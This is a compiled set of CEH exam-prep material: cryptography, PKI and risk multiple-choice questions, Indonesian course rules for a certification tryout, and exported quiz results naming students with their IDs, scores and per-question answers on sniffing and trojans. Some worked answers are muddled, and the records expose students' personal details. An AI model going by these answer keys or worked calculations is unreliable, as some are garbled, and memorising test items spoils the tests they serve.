A. Poly key exchange
B. Cross certification
C. Poly key reference
D. Cross-site exchange

413. Which element of Public Key Infrastructure (PKI) verifies the applicant?
A. Certificate authority
B. Validation authority
C. Registration authority
D. Verification authority

414. A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?
A. Public key
B. Private key
C. Modulus length
D. Email server certificate

415. A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?
A. Implementing server-side PKI certificates for all connections
B. Mandating only client-side PKI certificates for all connections
C. Requiring client and server PKI certificates for all connections
D. Requiring strong authentication for all DNS queries

416. Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?
A. Key registry
B. Recovery agent
C. Directory
D. Key escrow

417. Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?
A. Certificate issuance
B. Certificate validation
C. Certificate cryptography
D. Certificate revocation

418. XOR is a common cryptographic tool. 10110001 XOR 00111010 is?
A. 10111100
B. 11011000
C. 10011101
D. 10001011

419. A hacker was able to sniff packets on a company's wireless network. The following information was discovered:
The Key 10110010 01001011
The Cyphertext 01100101 01011010
Using the Exclusive OR, what was the original message?
A. 00101000 11101110
B. 11010111 00010001
C. 00001101 10100100
D. 11110010 01011011

420. The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?
A. Asymmetric
B. Confidential
C. Symmetric
D. Non-confidential

421. What is the difference between the AES and RSA algorithms?
A. Both are asymmetric algorithms, but RSA uses 1024-bit keys.
B. RSA is asymmetric, which is used to create a public/private key pair; AES is symmetric, which is used to encrypt data.
C. Both are symmetric algorithms, but AES uses 256-bit keys.
D. AES is asymmetric, which is used to create a public/private key pair; RSA is symmetric, which is used to encrypt data.

422. What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?
A. Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.
B. To get messaging programs to function with this algorithm requires complex configurations.
C. It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.
D. It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.

423. The fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following?
A. Multiple keys for non-repudiation of bulk data
B. Different keys on both ends of the transport medium
C. Bulk encryption for data transmission over fiber
D. The same key on each end of the transmission medium

424. Which of the following is an example of an asymmetric encryption implementation?
A. SHA1
B. PGP
C. 3DES
D. MD5

425. A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?

A. IP Security (IPSEC)
B. Multipurpose Internet Mail Extensions (MIME)
C. Pretty Good Privacy (PGP)
D. Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)

426. To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?
A. Recipient's private key
B. Recipient's public key
C. Master encryption key
D. Sender's public key

427. Which of the following areas is considered a strength of symmetric key cryptography when compared with asymmetric algorithms?
A. Scalability
B. Speed
C. Key distribution
D. Security

428. In which of the following password protection technique, random strings of characters are added to the password before calculating their hashes
Keyed Hashing
Double Hashing
Salting
Key Stretching

429. This asymmetry cipher is based on factoring the product of two large prime numbers.
What cipher is described above?
A. RSA
B. SHA
C. RC5
D. MD5

430. During the process of encryption and decryption, what keys are shared?
Public keys
Public and private keys
Private keys
User passwords

431. Which of the following Secure Hashing Algorithm (SHA) provides better protection against brute force attacks by producing a 160-bit digest from a message with a maximum length of (264 – 1) bits and resembles the MD5 algorithm?
SHA-0
SHA-2
SHA-1
SHA-3

432. After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application?
A. SHA1
B. Diffie-Helman
C. RSA
D. AES

433. Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?
A. 768 bit key
B. 1025 bit key
C. 1536 bit key
D. 2048 bit key

434. Which cipher encrypts the plain text digit (bit or byte) one by one?
A. Classical cipher
B. Block cipher
C. Modern cipher
D. Stream cipher

435. An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?
A. Timing attack
B. Replay attack
C. Memory trade-off attack
D. Chosen plain-text attack

436. In which of the following cryptography attack methods, the attacker makes a series of interactive queries, choosing subsequent plaintexts based on the information from the previous encryptions?
Adaptive chosen-plaintext attack
Known-plaintext attack
Chosen-plaintext attack
Ciphertext-only attack

437. An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key?
A. Birthday attack
B. Plaintext attack
C. Meet in the middle attack
D. Chosen ciphertext attack

438. Which of the following cryptography attack is an understatement for the extraction of cryptographic secrets (e.g. the password to an encrypted file) from a person by coercion or torture?
Ciphertext-only Attack
Rubber Hose Attack
Chosen-Cipher text Attack
Timing Attack

439. Which of the following cryptography attack methods is usually performed without the use of a computer?
A. Ciphertext-only attack
B. Chosen key attack
C. Rubber hose attack
D. Rainbow table attack

440. What is correct about digital signatures?
A. A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.
B. Digital signatures may be used in different documents of the same type.
C. A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.
D. Digital signatures are issued once for each user and can be used everywhere until they expire.

441. What two conditions must a digital signature meet?
Must be unique and have special characters.
Has to be legible and neat.
Has to be unforgeable, and has to be authentic.
Has to be the same number of characters as a physical signature and must be unique.

442. Cryptography is the practice and study of techniques for secure communication in the presence of third parties (called adversaries). More generally, it is about constructing and analyzing protocols that overcome the influence of adversaries and that are related to various aspects in information security such as data confidentiality, data integrity, authentication, and non-repudiation. Modern cryptography intersects the disciplines of mathematics, computer science, and electrical engineering. Applications of cryptography include ATM cards, computer passwords, and electronic commerce.

Basic example to understand how cryptography works is given below:
SECURE (plain text)
+1 (+1 next letter. for example, the letter ""T"" is used for ""S"" to encrypt.)
TFDVSF (encrypted text)
+ = logic => Algorithm
1 = Factor => Key

Which of the following choices true about cryptography?
Algorithm is not the secret, key is the secret.
Public-key cryptography, also known as asymmetric cryptography, public key is for decrypt, private key is for encrypt.
Symmetric-key algorithms are a class of algorithms for cryptography that use the different cryptographic keys for both

encryption of plaintext and decryption of ciphertext
Secure Sockets Layer (SSL) use the asymmetric encryption both (public/private key pair) to deliver the shared session key and to achieve a communication way.

443. Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an appropriate method?
A. It is impossible to crack hashed user passwords unless the key used to encrypt them is obtained.
B. If a user forgets the password, it can be easily retrieved using the hash key stored by administrators.
C. Hashing is faster compared to more traditional encryption algorithms.
D. Passwords stored using hashes are non-reversible, making finding the password much more difficult.

444. For messages sent through an insecure channel, a properly implemented digital signature gives the receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the message digest is encrypted with which key?
A. Sender's public key
B. Receiver's private key
C. Receiver's public key
D. Sender's private key

445. When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?
A. The key entered is a symmetric key used to encrypt the wireless data.
B. The key entered is a hash that is used to prove the integrity of the wireless data.
C. The key entered is based on the Diffie-Hellman method.
D. The key is an RSA key used to encrypt the wireless data.

446. You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?
Ans: A web server facing the Internet, an application server on the internal network, a database server on the internal network
447. In the software security development life cycle process, threat modeling occurs in which phase?
A. Design
B. Requirements
C. Verification
D. Implementation

448. What is the main disadvantage of the scripting languages as opposed to compiled programming languages?
A. Scripting languages are hard to learn.
B. Scripting languages are not object-oriented.
C. Scripting languages cannot be used to create graphical user interfaces.
D. Scripting languages are slower because they require an interpreter to run the code.

449. What is the role of test automation in security testing?
It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.
Test automation is not usable in security due to the complexity of the tests
It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies
It is an option but it tends to be very expensive

450. Which of the following is a design pattern based on distinct pieces of software providing application functionality as services to other applications?
A. Service Oriented Architecture
B. Object Oriented Architecture
C. Lean Coding
D. Agile Process

451. Which of the following is a common Service Oriented Architecture (SOA) vulnerability?
A. Cross-site scripting
B. SQL injection
C. VPath injection
D. XML denial of service issues

452. Websites and web portals that provide web services commonly use the Simple Object Access Protocol (SOAP). Which of the following is an incorrect definition or characteristics of the protocol?
Based on XML
Provides a structured model for messaging
Exchanges data between web services
Only compatible with the application protocol HTTP

453. SOAP services use which technology to format information?
A. SATA
B. PCI
C. XML
D. ISDN

454. A software tester is randomly generating invalid inputs in an attempt to crash the program. Which of the following is a software testing technique used to determine if a software program properly handles a wide range of invalid input?
A. Mutating
B. Randomizing
C. Fuzzing
D. Bounding

455. Which of the following is an adaptive SQL injection testing technique used to discover coding errors by inputting massive amounts of random data and observing the changes in the output?
Dynamic Testing (Analyze dynamic code behavior)
Function Testing (QA, Black box based on software specifications)
Fuzzing Testing
Static Testing (Review, Walkthrough without executing code)

456. Sid is a judge for a programming contest. Before the code reaches him it goes through a restricted OS and is tested there. If it passes, then it moves onto Sid. What is this middle step called?
Third party running the code
Fuzzy-testing the code
String validating the code
Sandboxing the code

457. Which of the following is a restriction being enforced in "white box testing?"
A. Only the internal operation of a system is known to the tester
B. The internal operation of a system is completely known to the tester
C. The internal operation of a system is only partly accessible to the tester
D. Only the external operation of a system is accessible to the tester

458. The "gray box testing" methodology enforces what kind of restriction?
A. The internal operation of a system is only partly accessible to the tester.
B. The internal operation of a system is completely known to the tester.
C. Only the external operation of a system is accessible to the tester.
D. Only the internal operation of a system is known to the tester.

459. The "black box testing" methodology enforces what kind of restriction?
A. The internal operation of a system is only partly accessible to the tester.
B. The internal operation of a system is completely known to the tester.
C. Only the external operation of a system is accessible to the tester.
D. Only the internal operation of a system is known to the tester.

460. A penetration tester is hired to do a risk assessment of a company's DMZ. The rules of engagement states that the penetration test be done from an external IP address with no prior knowledge of the internal IT systems.
What kind of test is being performed?
A. white box
B. grey box
C. red box
D. black box

461. What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?
Black-box
Announced
Grey-box
White-box

462. Seth is starting a penetration test from inside the network. He hasn't been given any information about the network. What type of test is he conducting?
Internal, Whitebox
Internal, Blackbox
External,Blackbox
External, Whitebox

463. Risks = Threats x Vulnerabilities is referred to as the:
A. Risk equation
B. Threat assessment
C. BIA equation
D. Disaster recovery formula

464. In Risk Management, how is the term "likelihood" related to the concept of "threat?"
A. Likelihood is the probability that a threat-source will exploit a vulnerability.
B. Likelihood is a possible threat-source that may exploit a vulnerability.
C. Likelihood is the likely source of a threat that could exploit a vulnerability.
D. Likelihood is the probability that a vulnerability is a threat-source.

465. What kind of risk will remain even if all theoretically possible safety measures would be applied?
A. Residual risk
B. Inherent risk
C. Impact risk
D. Deferred risk

466. If the final set of security controls does not eliminate all risk in a system, what could be done next?
A. Continue to apply controls until there is zero risk.
B. Ignore any remaining risk.
C. If the residual risk is low enough, it can be accepted.
D. Remove current controls since they are not completely effective.

467. One of the Forbes 500 companies has been subjected to a large scale attack. You are one of the shortlisted pen testers that they may hire. During the interview with the CIO, he emphasized that he wants to totally eliminate all risks. What is one of the first things you should do when hired?
A. Interview all employees in the company to rule out possible insider threats.
B. Establish attribution to suspected attackers.
C. Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.
D. Start the Wireshark application to start sniffing network traffic.

468. What information should an IT system analysis provide to the risk assessor?
A. Management buy-in
B. Threat statement
C. Security architecture
D. Impact analysis

469. The practical realities facing organizations today make risk response strategies essential. Which of the following is NOT one of the five basic responses to risk?
A. Accept
B. Mitigate
C. Delegate
D. Avoid

470. Which of the following is considered an acceptable option when managing a risk?
A. Reject the risk.
B. Deny the risk.
C. Mitigate the risk.
D. Initiate the risk.

471. Which of the following is a component of a risk assessment?
A. Administrative safeguards
B. Physical security
C. DMZ
D. Logical interface

472. On performing a risk assessment, you need to determine the potential impacts when some of the critical business processes of the company interrupt its service. What is the name of the process by which you can determine those critical businesses?
Business Impact Analysis (BIA)
Disaster Recovery Planning (DRP)
Emergency Plan Response (EPR)
Risk Mitigation

473. Which of the following lists are valid data-gathering activities associated with a risk assessment?
A. Threat identification, vulnerability identification, control analysis
B. Threat identification, response identification, mitigation identification
C. Attack profile, defense profile, loss profile
D. System profile, vulnerability identification, security determination

474. The chance of a hard drive failure is known to be once every four years. The cost of a new hard drive is $500. EF (Exposure Factor) is about 0.5. Calculate for the Annualized Loss Expectancy (ALE).
A. $62.5
B. $250
C. $125
D. $65.2
4/0.5=8 500/8=62.6

475. What is the approximate cost of replacement and recovery operation per year of a hard drive that has a value of $300 given that the technician who charges $10/hr would need 10 hours to restore OS and Software and needs further 4 hours to restore the database from the last backup to the new hard disk? Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).
A. $440
B. $100
C. $1320
D. $146
The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE).Suppose than an asset is valued at $100,000, and the Exposure Factor (EF) for this asset is 25%. The single loss expectancy (SLE) then, is 25% * $100,000, or $25,000. In our example the ARO is 33%, and the SLE is 300+14*10 (as EF=1). The ALO is thus: 33%*(300+14*10) which equals 146.

476. Which tier in the N-tier application architecture is responsible for moving and processing data between the tiers?
Data tier
Presentation tier
Logic tier
Application Layer

477. Which statement best describes a server type under an N-tier architecture?
A. A group of servers at a specific layer
B. A single server with a specific role
C. A group of servers with a unique role
D. A single server at a specific layer

478. Which of the following items is unique to the N-tier architecture method of designing software applications?
A. Application layers can be separated, allowing each layer to be upgraded independently from other layers.
B. It is compatible with various databases including Access, Oracle, and SQL.
C. Data security is tied into each layer and must be updated for all layers when any upgrade is performed.
D. Application layers can be written in C, ASP.NET, or Delphi without any performance loss.

479. What is the benefit of performing an unannounced Penetration Testing?
A. The tester will have an actual security posture visibility of the target network.
B. Network security would be in a “best state” posture.
C. It is best to catch critical infrastructure unpatched.
D. The tester could not provide an honest analysis.

480. Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?
A. Penetration testing
B. Social engineering
C. Vulnerability scanning
D. Access control list reviews

Persiapan Sertifikasi CEH

1. TryOut

a. **Akan dilaksanakan TryOut**
   i. Nilai setiap TryOut **minimal 80**
      Jika dapat dibawah 80, wajib remedial (nilai remedial maksimal 80)
   ii. Nilai setiap TryOut akan digunakan untuk komponen nilai KAT Mata Kuliah
b. **Aturan TryOut:**
   i. 125 soal, 4 jam, soal berbahasa Inggris, tipe soal berupa multiple choice single answer
   ii. Boleh membuka authorized material CEH dari EC-Council (modules, labs, tools)
   iii. Boleh membuka Google-translate atau kamus Inggris-Indonesia (cetak maupun elektronik/internet)
   iv. Boleh menjalankan tools/programs untuk mencoba (Kali-Linux ataupun tools/program lain)
   v. Tidak boleh membuka internet dan resource apapun yang lain (cetak maupun elektronik)
   vi. Tidak boleh melakukan printscreen
   vii. Tidak boleh melakukan komunikasi dengan siapapun secara lisan ataupun tertulis (kecuali dengan dosen)

2. Sertifikasi CEH

a. **"Passing Grade: 70"**
b. **Aturan Pelaksanaan Sertifikasi:**
   i. 125 soal, 4 jam, soal berbahasa Inggris, tipe soal berupa multiple choice single answer
   ii. Boleh membuka authorized material CEH dari EC-Council (modules, labs, tools)
   iii. Boleh membuka Google-translate atau kamus Inggris-Indonesia (cetak maupun elektronik/internet)
   iv. Boleh menjalankan tools/programs untuk mencoba (Kali-Linux ataupun tools/program lain)
   v. Tidak boleh membuka internet dan resource apapun yang lain (cetak maupun elektronik)
   vi. Tidak boleh melakukan printscreen
   vii. Tidak boleh melakukan komunikasi dengan siapapun secara lisan ataupun tertulis (kecuali dengan dosen)
c. **Pelaksanaan Ujian Sertifikasi:**
   i. Ujian Sertifikasi akan dilaksanakan di minggu UAS
   ii. Durasi persiapan dan pelaksanaan: 4 jam
d. **Terkait UAS Mata Kuliah:**
   i. Tidak ada UAS, nilai UAS diambil dari nilai sertifikasi

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472001
name:	FENITA SUPRAPTO
user:	1472001
start time:	2017-01-30 13:35:12
end time:	2017-01-30 14:06:36
time:	00:31:24
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**70.000 / 100.000 (70%) - PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	0.000	281473913984533	13:35:12	13:39:18	04:06	245.487

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

-	1	Spoofing
	2	Firmware
	3	Cryptographic
	4	Research projects

2 S	5.000	281473913984533	13:39:18	13:41:02	01:44	104.048

What is sniffer?

+	1	A program or device that captures the information from the network traffic
	2	A server that send continuous packet to a victim
	3	Person who hack the network
	4	A computer that distributes fake MAC address

3 S	5.000	281473913984533	13:41:02	13:42:19	01:17	77.428

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

	1	Over Channel
+	2	ICMP Tunneling
	3	Proxy Server
	4	Destructive Trojan

4 S	0.000	281473913984533	13:42:19	13:45:07	02:48	167.747

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

-	1	Because all traffic is clear text, even when encrypted
	2	Because wireless traffic uses only UDP which is easier to sniff
	3	Because wireless networks can't enable encryption
	4	Because wireless access points act like hubs on a network

5 S	5.000	281473913984533	13:45:07	13:46:20	01:13	72.413

Sniffing that conducted through a switch can be categorized as ...

+	1	Active sniffing
	2	Passive sniffing
	3	Agressive sniffing
	4	Silent sniffing

6 S	5.000	281473913984533	13:46:20	13:48:17	01:57	116.982

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*

UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	route print
	2	ifconfig -s
	3	ipconfig -a
+	4	netstat -an

7 S	5.000	281473913984533	13:48:17	13:51:26	03:09	189.808

ARP is the name of a protocol that convert an ... to MAC Address.

	1	Domain Address
	2	Web Address
	3	MCA Address
+	4	IP Address

8 S	0.000	281473913984533	13:51:26	13:54:45	03:19	198.645

Trojans are used primarily to Gain and ... on the target system.

	1	Defend
	2	Retain access
-	3	Obtain
	4	Destroy

9 S	5.000	281473913984533	13:54:45	13:55:34	00:49	48.735

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	NTPCAP
	2	LibPCAP
	3	PCAP
+	4	WinPCAP

10 S	5.000	281473913984533	13:55:34	13:56:53	01:19	78.861

... is a channel that transfers information within a computer system, or network, in a way that violates security policy.

	1	Overt Channel
	2	Trojan Channel
+	3	Covert Channel
	4	Backdoor Channel

11 S	0.000	281473913984533	13:56:53	13:58:32	01:39	98.892

What is sniffing ?

-	1	Hacking Method
	2	Password Generator
	3	Data Interception Technology
	4	Cracking Method

12 S	5.000	281473913984533	13:58:32	13:58:38	00:06	5.806

.. are malicious pieces of code that carry cracker software to a target system.

+	1	Trojans
	2	Overt
	3	Antivirus
	4	Firewall

13 S	5.000	281473913984533	13:58:38	13:59:10	00:32	32.472

June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its known viral signature and hide from signature-based antivirus programs.

Can June use an antivirus program in this case and would it be effective against a polymorphic virus?

	1	Yes. June can use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and it is very effective against a polymorphic virus
	2	No. June can't use an antivirus program since it compares the size of executable files to the database of known viral signatures and it is effective on a polymorphic virus
	3	Yes. June can use an antivirus program since it compares the parity bit of executable files to the database of known check sum counts and it is effective on a polymorphic virus
+	4	No. June can't use an antivirus program since it compares the signatures of executable files to the database of known viral signatures and in the case the polymorphic viruses cannot be detected by a signature-based anti-virus program

14 S	5.000	281473913984533	13:59:10	14:00:29	01:19	78.296

Most viruses operate in two phases, Infection Phase and ...		
	1	Local Phase
	2	Defend Phase
+	3	Attack Phase
	4	Breeding Phase

15 S	5.000	281473913984533	14:00:29	14:03:00	02:31	151.121

... trojan will destroys operating system when executed.		
	1	Remote access
	2	DoS Attack
	3	Data-Sending
+	4	Destructive

16 S	5.000	281473913984533	14:03:00	14:03:16	00:16	16.484

Which protocol is not susceptible to sniffer?		
	1	pop3
	2	http
+	3	https
	4	telnet

17 S	5.000	281473913984533	14:03:16	14:04:07	00:51	50.284

... combines two programs into single file, usually used to hide trojan.		
	1	A firewall
	2	A router
+	3	A wrapper
	4	An attacker

18 S	0.000	281473913984533	14:04:07	14:05:02	00:55	55.877

... is a technique for active sniffing.		
	1	MAC sniffing
	2	ARP spoofing
-	3	IP spoofing
	4	Broadcast flooding

19 S	0.000	281473913984533	14:05:02	14:06:13	01:11	70.054

MAC flooding is method that force a ... to act or work as a hub.		
	1	Router
	2	Switch
-	3	Hub
	4	Access Point

20 S	5.000	281473913984533	14:06:13	14:06:36	00:23	23.002

Which method is the most difficult to detect ?		
	1	Silent sniffing
+	2	Passive sniffing
	3	Active sniffing
	4	Agressive sniffing

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472031
name:	SRI INTAN NANDIKA
user:	1472031
start time:	2017-01-30 13:35:17
end time:	2017-01-30 14:04:45
time:	00:29:28
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**70.000 / 100.000 (70%) - PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	5.000	281473913984534	13:35:17	13:37:34	02:17	136.956

.. are malicious pieces of code that carry cracker software to a target system.

	1	Overt
+	2	Trojans
	3	Firewall
	4	Antivirus

2 S	5.000	281473913984534	13:37:34	13:58:18	20:44	23.671

Virus writers can have various reasons for creating and spreading malware.
Viruses have been written as ...

	1	Spoofing
	2	Firmware
+	3	Research projects
	4	Cryptographic

3 S	5.000	281473913984534	13:40:51	13:42:53	02:02	121.967

... is a method of using ICMP as a carrier of any payload an attacker may wish to use.

+	1	ICMP Tunneling
	2	Destructive Trojan
	3	Over Channel
	4	Proxy Server

4 S	0.000	281473913984534	13:42:53	13:45:01	02:08	128.1

Trojans are used primarily to Gain and ... on the target system.

	1	Retain access
-	2	Obtain
	3	Defend
	4	Destroy

5 S	5.000	281473913984534	13:45:01	13:45:53	00:52	51.988

... trojan starts a hidden proxy server on the victim's computer.

+	1	Proxy server
	2	FTP
	3	Destructive
	4	Remote Access

6 S	5.000	281473913984534	13:45:53	14:03:40	17:47	11.768

Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.

Harold is currently trying to run a Sniffer on the agency's network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer's manual but can't find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency's network is a switched network, which can't be sniffed by some programs without some tweaking.

What technique could Harold use to sniff agency's switched network?

	1	Launch smurf attack against the switch
+	2	ARP spoof the default gateway
	3	Flood switch with ICMP packets
	4	Conduct MiTM against the switch

7 S	0.000	281473913984534	13:45:57	13:47:04	01:07	67.251

In most trojans infection cases, it is the absent-minded user who invites trouble by downloading files or being ... about security aspect.

-	1	Aware
	2	Careless

	3	Good
	4	Careful

8 S	5.000	281473913984534	13:47:04	14:03:27	16:23	156.708

Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data.

The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.

Why did capturing of traffic take much less time on the wireless network?

+	1	Because wireless access points act like hubs on a network
	2	Because wireless networks can't enable encryption
	3	Because all traffic is clear text, even when encrypted
	4	Because wireless traffic uses only UDP which is easier to sniff

9 S	5.000	281473913984534	13:47:07	13:47:29	00:22	21.677

Most viruses operate in two phases, Infection Phase and ...

	1	Breeding Phase
	2	Local Phase
+	3	Attack Phase
	4	Defend Phase

10 S	5.000	281473913984534	13:47:29	13:49:19	01:50	109.98

C:\> .....
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2385 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.12.202:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 127.0.0.1:1025 *:*
UDP 127.0.0.1:1900 *:*
UDP 192.168.12.202:123 *:*
UDP 192.168.12.202:137 *:*
UDP 192.168.12.202:138 *:*
UDP 192.168.12.202:1900 *:*

	1	ifconfig -s
	2	route print
+	3	netstat -an
	4	ipconfig -a

11 S	5.000	281473913984534	13:49:19	13:49:38	00:19	19.645

Sniffing that conducted through a hub can be categorized as ...

	1	Silent sniffing
	2	Agressive sniffing
+	3	Passive sniffing
	4	Active sniffing

12 S	5.000	281473913984534	13:49:38	13:50:03	00:25	24.215

Which protocol is not susceptible to sniffer?

+	1	https
	2	pop3
	3	http
	4	telnet

13 S	0.000	281473913984534	13:50:03	13:51:16	01:13	73.71

What is sniffer?

	1	A computer that distributes fake MAC address
	2	A server that send continuous packet to a victim
	3	A program or device that captures the information from the network traffic
-	4	Person who hack the network

14 S	0.000	281473913984534	13:51:16	13:52:08	00:52	51.514

ARP is the name of a protocol that convert an ... to MAC Address.

-	1	MCA Address
	2	IP Address
	3	Web Address
	4	Domain Address

15 S	5.000	281473913984534	13:52:08	13:52:35	00:27	27.397

Which method is the most difficult to detect ?

	1	Agressive sniffing
	2	Silent sniffing
	3	Active sniffing
+	4	Passive sniffing

16 S	0.000	281473913984534	13:52:35	14:04:45	12:10	48.102

What is sniffing ?

	1	Password Generator
-	2	Hacking Method
	3	Cracking Method
	4	Data Interception Technology

17 S	5.000	281473913984534	13:53:30	13:54:03	00:33	33.506

Sniffing that conducted through a switch can be categorized as ...

+	1	Active sniffing
	2	Agressive sniffing
	3	Silent sniffing
	4	Passive sniffing

18 S	5.000	281473913984534	13:54:03	13:56:09	02:06	125.821

... trojan will destroys operating system when executed.

	1	DoS Attack
	2	Data-Sending
+	3	Destructive
	4	Remote access

19 S	5.000	281473913984534	13:56:09	13:57:00	00:51	50.564

Wireshark is a famous packet sniffer available on a variety of platforms. In order to use this tool on the Windows Platform you must install a packet capture library.

What is the name of this library?

	1	LibPCAP
	2	PCAP
	3	NTPCAP
+	4	WinPCAP

20 S	0.000	281473913984534	13:57:00	13:57:36	00:36	36.13

You suspect that your Windows machine has been compromised with a Trojan virus. When you run anti-virus software it does not pick of the Trojan. Next you run netstat command to look for open ports and you notice a strange port 6666 open.

What is the next step you would do?

	1	Re-install the operating system.
-	2	Re-run anti-virus software.
	3	Run utility CurrPorts and look for the application executable that listens on port 6666.
	4	Install and run Trojan removal software.

School name
first row
second row
third row

test: Kuis-01 EH2-A (Reg Genap 2016-2017)

surname:	1472034
name:	WILLIAM SILVANUS
user:	1472034
start time:	2017-01-30 13:35:10
end time:	2017-01-30 14:08:14
time:	00:33:04
points to pass the exam:	70.000
correct:	(0%)
wrong:	(0%)
unanswered:	(0%)
undisplayed:	(0%)
points:	**70.000 / 100.000 (70%) - PASSED**

Kuis-01 EH2-A (Reg Genap 2016-2017)

#	points	IP	start [hh:mm:ss]	end [hh:mm:ss]	time [mm:ss]	reaction [sec]
1 S	0.000	281473913984528	13:35:10	13:38:51	03:41	220.553

... is a technique for active sniffing.

	1	ARP spoofing
	2	IP spoofing
	3	Broadcast flooding
-	4	MAC sniffing

2 S	0.000	281473913984528	13:38:52	13:41:30	02:38	158.794

Trojans are used primarily to Gain and ... on the target system.

-	1	Destroy
	2	Defend
	3	Obtain
